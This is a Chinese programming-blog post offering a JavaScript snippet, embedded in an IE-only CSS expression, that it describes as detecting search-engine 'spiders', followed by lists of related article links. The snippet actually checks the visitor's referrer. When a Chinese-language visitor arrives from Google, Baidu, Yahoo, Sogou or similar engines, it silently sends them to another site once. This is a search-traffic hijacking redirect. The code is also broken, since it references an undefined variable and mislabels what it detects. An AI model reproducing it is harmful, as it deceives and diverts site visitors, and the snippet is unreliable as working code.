JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
javascript 字符 Escape,encodeURI,encodeURIComponent
Jul 09 Javascript
js生成随机数之random函数随机示例
Dec 20 Javascript
js获取当前路径的简单示例代码
Jan 08 Javascript
《JavaScript DOM 编程艺术》读书笔记之JavaScript 语法
Jan 09 Javascript
js实现页面刷新滚动条位置不变
Nov 27 Javascript
解析JavaScript模仿块级作用域
Dec 29 Javascript
Angular2里获取(input file)上传文件的内容的方法
Sep 05 Javascript
在Vue methods中调用filters里的过滤器实例
Aug 30 Javascript
其实你可以少写点if else与switch(推荐)
Jan 10 Javascript
vue中添加与删除关键字搜索功能
Oct 12 Javascript
vue实现打地鼠小游戏
Aug 21 Javascript
vue使用echarts画组织结构图
Feb 06 Vue.js
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
php快速url重写 更新版[需php 5.30以上]
2010/04/20 PHP
PHP网站安装程序制作的原理、步骤、注意事项和示例代码
2010/08/01 PHP
允许phpmyadmin空密码登录的配置方法
2011/05/29 PHP
php文件操作实例代码
2012/05/10 PHP
php数组合并与拆分实例分析
2015/06/12 PHP
php定期拉取数据对比方法实例
2019/09/22 PHP
JavaScript Scoping and Hoisting 翻译
2012/07/03 Javascript
js导出格式化的excel 实例方法
2013/07/17 Javascript
jquery $(this).attr $(this).val方法使用介绍
2013/10/08 Javascript
利用JS解决ie6不支持max-width,max-height问题的方法
2014/01/02 Javascript
javascript 回调函数详解
2014/11/11 Javascript
javascript中数组方法汇总
2015/07/07 Javascript
jQuery中(function($){})(jQuery)详解
2015/07/15 Javascript
jquery获取select选中值的方法分析
2015/12/22 Javascript
JavaScript与JQUERY获取元素的宽、高和位置
2017/02/26 Javascript
Javascript实现数组中的元素上下移动
2017/04/28 Javascript
socket.io学习教程之深入学习篇(三)
2017/04/29 Javascript
Vue.js2.0中的变化小结
2017/10/24 Javascript
Node.js的进程管理的深入理解
2019/01/09 Javascript
vue-router 起步步骤详解
2019/03/26 Javascript
微信小程序学习笔记之获取位置信息操作图文详解
2019/03/29 Javascript
python实现上传样本到virustotal并查询扫描信息的方法
2014/10/05 Python
Python入门篇之文件
2014/10/20 Python
初步解析Python下的多进程编程
2015/04/28 Python
Python实现的文本对比报告生成工具示例
2018/05/22 Python
如何在Python3中使用telnetlib模块连接网络设备
2020/09/21 Python
CSS3制作3D立方体loading特效
2020/11/09 HTML / CSS
前后端结合实现amazeUI分页效果
2020/08/21 HTML / CSS
南京某软件公司的.net面试题
2015/11/30 面试题
策划主管的工作职责
2013/11/24 职场文书
酒店开业庆典策划方案
2014/05/28 职场文书
领导党的群众路线教育实践活动个人对照检查材料
2014/09/23 职场文书
2014年学前班工作总结
2014/12/08 职场文书
银行员工考核评语
2014/12/31 职场文书
Django分页器的用法你都了解吗
2021/05/26 Python
【DOTA2】当街暴打?PSG LGD vs VG - DPC 2022 WINTER TOUR CN
2022/04/02 DOTA